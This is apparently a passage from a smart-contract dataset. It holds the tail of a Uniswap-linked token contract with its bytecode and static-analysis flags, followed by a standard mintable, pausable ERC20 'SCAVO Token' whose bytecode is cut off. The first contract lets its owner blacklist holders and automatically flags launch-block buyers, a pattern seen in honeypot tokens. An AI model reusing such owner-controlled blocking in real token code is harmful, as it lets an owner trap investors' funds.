IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (5 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 15);
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103be578063cf0848f7146103d3578063cf9d4afa146103f3578063dd62ed3e14610413578063e6ec64ec14610459578063f2fde38b1461047957600080fd5b8063715018a6146103215780638da5cb5b1461033657806390d49b9d1461035e57806395d89b4114610172578063a9059cbb1461037e578063b515566a1461039e57600080fd5b806331c2d8471161010857806331c2d8471461023a5780633bbac5791461025a578063437823ec14610293578063476343ee146102b35780635342acb4146102c857806370a082311461030157600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b157806318160ddd146101e157806323b872dd14610206578063313ce5671461022657600080fd5b3661015657005b600080fd5b34801561016757600080fd5b50610170610499565b005b34801561017e57600080fd5b50604080518082018252600781526643554c54434f5760c81b602082015290516101a89190611811565b60405180910390f35b3480156101bd57600080fd5b506101d16101cc36600461188b565b6104e5565b60405190151581526020016101a8565b3480156101ed57600080fd5b50678ac7230489e800005b6040519081526020016101a8565b34801561021257600080fd5b506101d16102213660046118b7565b6104fc565b34801561023257600080fd5b5060096101f8565b34801561024657600080fd5b5061017061025536600461190e565b610565565b34801561026657600080fd5b506101d16102753660046119d3565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561029f57600080fd5b506101706102ae3660046119d3565b6105fb565b3480156102bf57600080fd5b50610170610649565b3480156102d457600080fd5b506101d16102e33660046119d3565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561030d57600080fd5b506101f861031c3660046119d3565b610683565b34801561032d57600080fd5b506101706106a5565b34801561034257600080fd5b506000546040516001600160a01b0390911681526020016101a8565b34801561036a57600080fd5b506101706103793660046119d3565b6106db565b34801561038a57600080fd5b506101d161039936600461188b565b610755565b3480156103aa57600080fd5b506101706103b936600461190e565b610762565b3480156103ca57600080fd5b5061017061087b565b3480156103df57600080fd5b506101706103ee3660046119d3565b610933565b3480156103ff57600080fd5b5061017061040e3660046119d3565b61097e565b34801561041f57600080fd5b506101f861042e3660046119f0565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046557600080fd5b50610170610474366004611a29565b610bd9565b34801561048557600080fd5b506101706104943660046119d3565b610c16565b6000546001600160a01b031633146104cc5760405162461bcd60e51b81526004016104c390611a42565b60405180910390fd5b60006104d730610683565b90506104e281610cae565b50565b60006104f2338484610e28565b5060015b92915050565b6000610509848484610f4c565b61055b843361055685604051806060016040528060288152602001611bbb602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906112c7565b610e28565b5060019392505050565b6000546001600160a01b0316331461058f5760405162461bcd60e51b81526004016104c390611a42565b60005b81518110156105f7576000600560008484815181106105b3576105b3611a77565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105ef81611aa3565b915050610592565b5050565b6000546001600160a01b031633146106255760405162461bcd60e51b81526004016104c390611a42565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156105f7573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546104f690611301565b6000546001600160a01b031633146106cf5760405162461bcd60e51b81526004016104c390611a42565b6106d96000611385565b565b6000546001600160a01b031633146107055760405162461bcd60e51b81526004016104c390611a42565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006104f2338484610f4c565b6000546001600160a01b0316331461078c5760405162461bcd60e51b81526004016104c390611a42565b60005b81518110156105f757600c5482516001600160a01b03909116908390839081106107bb576107bb611a77565b60200260200101516001600160a01b03161415801561080c5750600b5482516001600160a01b03909116908390839081106107f8576107f8611a77565b60200260200101516001600160a01b031614155b156108695760016005600084848151811061082957610829611a77565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061087381611aa3565b91505061078f565b6000546001600160a01b031633146108a55760405162461bcd60e51b81526004016104c390611a42565b600c54600160a01b900460ff166109095760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104c3565b600c805460ff60b81b1916600160b81b17905542600d81905561092e9061012c611abc565b600e55565b6000546001600160a01b0316331461095d5760405162461bcd60e51b81526004016104c390611a42565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109a85760405162461bcd60e51b81526004016104c390611a42565b600c54600160a01b900460ff1615610a105760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104c3565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a67573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8b9190611ad4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ad8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610afc9190611ad4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6d9190611ad4565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c035760405162461bcd60e51b81526004016104c390611a42565b600f811115610c1157600080fd5b600855565b6000546001600160a01b03163314610c405760405162461bcd60e51b81526004016104c390611a42565b6001600160a01b038116610ca55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104c3565b6104e281611385565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610cf657610cf6611a77565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d4f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d739190611ad4565b81600181518110610d8657610d86611a77565b6001600160a01b039283166020918202929092010152600b54610dac9130911684610e28565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610de5908590600090869030904290600401611af1565b600060405180830381600087803b158015610dff57600080fd5b505af1158015610e13573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610e8a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c3565b6001600160a01b038216610eeb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c3565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fb05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c3565b6001600160a01b0382166110125760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c3565b600081116110745760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c3565b6001600160a01b03831660009081526005602052604090205460ff161561109a57600080fd5b6001600160a01b03831660009081526004602052604081205460ff161580156110dc57506001600160a01b03831660009081526004602052604090205460ff16155b80156110f25750600c54600160a81b900460ff16155b80156111225750600c546001600160a01b03858116911614806111225750600c546001600160a01b038481169116145b156112b557600c54600160b81b900460ff1661113d57600080fd5b50600c546001906001600160a01b03858116911614801561116c5750600b546001600160a01b03848116911614155b8015611179575042600e54115b156111c057600061118984610683565b90506111a960646111a3678ac7230489e8000060026113d5565b90611457565b6111b38483611499565b11156111be57600080fd5b505b600d5442036111ed576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006111f830610683565b600c54909150600160b01b900460ff161580156112235750600c546001600160a01b03868116911614155b156112b35780156112b357600c54611257906064906111a390600f90611251906001600160a01b0316610683565b906113d5565b81111561128457600c54611281906064906111a390600f90611251906001600160a01b0316610683565b90505b6000611291826006611457565b905061129d8183611b62565b91506112a8816114f8565b6112b182610cae565b505b505b6112c184848484611528565b50505050565b600081848411156112eb5760405162461bcd60e51b81526004016104c39190611811565b5060006112f88486611b62565b95945050505050565b60006006548211156113685760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c3565b600061137261162b565b905061137e8382611457565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826000036113e7575060006104f6565b60006113f38385611b79565b9050826114008583611b98565b1461137e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c3565b600061137e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061164e565b6000806114a68385611abc565b90508381101561137e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c3565b600c805460ff60b01b1916600160b01b1790556115183061dead83610f4c565b50600c805460ff60b01b19169055565b80806115365761153661167c565b60008060008061154587611698565b6001600160a01b038d166000908152600160205260409020549397509195509350915061157290856116df565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546115a19084611499565b6001600160a01b0389166000908152600160205260409020556115c381611721565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161160891815260200190565b60405180910390a3505050508061162457611624600954600855565b5050505050565b600080600061163861176b565b90925090506116478282611457565b9250505090565b6000818361166f5760405162461bcd60e51b81526004016104c39190611811565b5060006112f88486611b98565b60006008541161168b57600080fd5b6008805460095560009055565b6000806000806000806116ad876008546117ab565b9150915060006116bb61162b565b90506000806116cb8a85856117d8565b909b909a5094985092965092945050505050565b600061137e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112c7565b600061172b61162b565b9050600061173983836113d5565b306000908152600160205260409020549091506117569082611499565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e800006117868282611457565b8210156117a257505060065492678ac7230489e8000092509050565b90939092509050565b600080806117be60646111a387876113d5565b905060006117cc86836116df565b96919550909350505050565b600080806117e686856113d5565b905060006117f486866113d5565b9050600061180283836116df565b92989297509195505050505050565b600060208083528351808285015260005b8181101561183e57858101830151858201604001528201611822565b81811115611850576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104e257600080fd5b803561188681611866565b919050565b6000806040838503121561189e57600080fd5b82356118a981611866565b946020939093013593505050565b6000806000606084860312156118cc57600080fd5b83356118d781611866565b925060208401356118e781611866565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561192157600080fd5b823567ffffffffffffffff8082111561193957600080fd5b818501915085601f83011261194d57600080fd5b81358181111561195f5761195f6118f8565b8060051b604051601f19603f83011681018181108582111715611984576119846118f8565b6040529182528482019250838101850191888311156119a257600080fd5b938501935b828510156119c7576119b88561187b565b845293850193928501926119a7565b98975050505050505050565b6000602082840312156119e557600080fd5b813561137e81611866565b60008060408385031215611a0357600080fd5b8235611a0e81611866565b91506020830135611a1e81611866565b809150509250929050565b600060208284031215611a3b57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611ab557611ab5611a8d565b5060010190565b60008219821115611acf57611acf611a8d565b500190565b600060208284031215611ae657600080fd5b815161137e81611866565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b415784516001600160a01b031683529383019391830191600101611b1c565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611b7457611b74611a8d565b500390565b6000816000190483118215151615611b9357611b93611a8d565b500290565b600082611bb557634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220af2748db36c41c1189388d9312d3a964ba6b28cd19c2faa0f5f44fc05bfc4bb364736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,867 |
0x0d30598f68e75574a6285f62eb5d7658bd62bd8b
|
pragma solidity ^0.4.24;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned
*/
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* @title SCAVOToken
* @dev ERC20 Token example, where all tokens are pre-assigned to the creator.
* Note they can later distribute these tokens as they wish using `transfer` and other
* `StandardToken` functions.
* Version: 1.1
*/
contract SCAVOToken is StandardToken, MintableToken, PausableToken, BurnableToken {
string public constant name = "SCAVO Token";
string public constant symbol = "SCAVO";
string public constant version = "1.1";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 200000000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
}
}
|
0x60806040526004361061013d5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461014257806306fdde031461016b578063095ea7b3146101f557806318160ddd1461021957806323b872dd146102405780632ff2e9dc1461026a578063313ce5671461027f5780633f4ba83a146102aa57806340c10f19146102c157806342966c68146102e557806354fd4d50146102fd5780635c975abb14610312578063661884631461032757806370a082311461034b578063715018a61461036c57806379cc6790146103815780637d64bcb4146103a55780638456cb59146103ba5780638da5cb5b146103cf57806395d89b4114610400578063a9059cbb14610415578063d73dd62314610439578063dd62ed3e1461045d578063f2fde38b14610484575b600080fd5b34801561014e57600080fd5b506101576104a5565b604080519115158252519081900360200190f35b34801561017757600080fd5b506101806104c6565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ba5781810151838201526020016101a2565b50505050905090810190601f1680156101e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020157600080fd5b50610157600160a060020a03600435166024356104fd565b34801561022557600080fd5b5061022e610528565b60408051918252519081900360200190f35b34801561024c57600080fd5b50610157600160a060020a036004358116906024351660443561052e565b34801561027657600080fd5b5061022e61055b565b34801561028b57600080fd5b5061029461056a565b6040805160ff9092168252519081900360200190f35b3480156102b657600080fd5b506102bf61056f565b005b3480156102cd57600080fd5b50610157600160a060020a03600435166024356105e8565b3480156102f157600080fd5b506102bf6004356106f1565b34801561030957600080fd5b506101806106fe565b34801561031e57600080fd5b50610157610735565b34801561033357600080fd5b50610157600160a060020a0360043516602435610745565b34801561035757600080fd5b5061022e600160a060020a0360043516610769565b34801561037857600080fd5b506102bf610784565b34801561038d57600080fd5b506102bf600160a060020a03600435166024356107f2565b3480156103b157600080fd5b50610157610888565b3480156103c657600080fd5b506102bf61092e565b3480156103db57600080fd5b506103e46109ac565b60408051600160a060020a039092168252519081900360200190f35b34801561040c57600080fd5b506101806109bb565b34801561042157600080fd5b50610157600160a060020a03600435166024356109f2565b34801561044557600080fd5b50610157600160a060020a0360043516602435610a16565b34801561046957600080fd5b5061022e600160a060020a0360043581169060243516610a3a565b34801561049057600080fd5b506102bf600160a060020a0360043516610a65565b60035474010000000000000000000000000000000000000000900460ff1681565b60408051808201909152600b81527f534341564f20546f6b656e000000000000000000000000000000000000000000602082015281565b60035460009060a860020a900460ff161561051757600080fd5b6105218383610a85565b9392505050565b60025490565b60035460009060a860020a900460ff161561054857600080fd5b610553848484610aeb565b949350505050565b6aa56fa5b99019a5c800000081565b601281565b600354600160a060020a0316331461058657600080fd5b60035460a860020a900460ff16151561059e57600080fd5b6003805475ff000000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600354600090600160a060020a0316331461060257600080fd5b60035474010000000000000000000000000000000000000000900460ff161561062a57600080fd5b60025461063d908363ffffffff610c4e16565b600255600160a060020a038316600090815260208190526040902054610669908363ffffffff610c4e16565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000916000805160206110368339815191529181900360200190a350600192915050565b6106fb3382610c61565b50565b60408051808201909152600381527f312e310000000000000000000000000000000000000000000000000000000000602082015281565b60035460a860020a900460ff1681565b60035460009060a860020a900460ff161561075f57600080fd5b6105218383610d50565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a0316331461079b57600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600160a060020a038216600090815260016020908152604080832033845290915290205481111561082257600080fd5b600160a060020a0382166000908152600160209081526040808320338452909152902054610856908263ffffffff610e3f16565b600160a060020a03831660009081526001602090815260408083203384529091529020556108848282610c61565b5050565b600354600090600160a060020a031633146108a257600080fd5b60035474010000000000000000000000000000000000000000900460ff16156108ca57600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600160a060020a0316331461094557600080fd5b60035460a860020a900460ff161561095c57600080fd5b6003805475ff000000000000000000000000000000000000000000191660a860020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b60408051808201909152600581527f534341564f000000000000000000000000000000000000000000000000000000602082015281565b60035460009060a860020a900460ff1615610a0c57600080fd5b6105218383610e51565b60035460009060a860020a900460ff1615610a3057600080fd5b6105218383610f1e565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b600354600160a060020a03163314610a7c57600080fd5b6106fb81610fb7565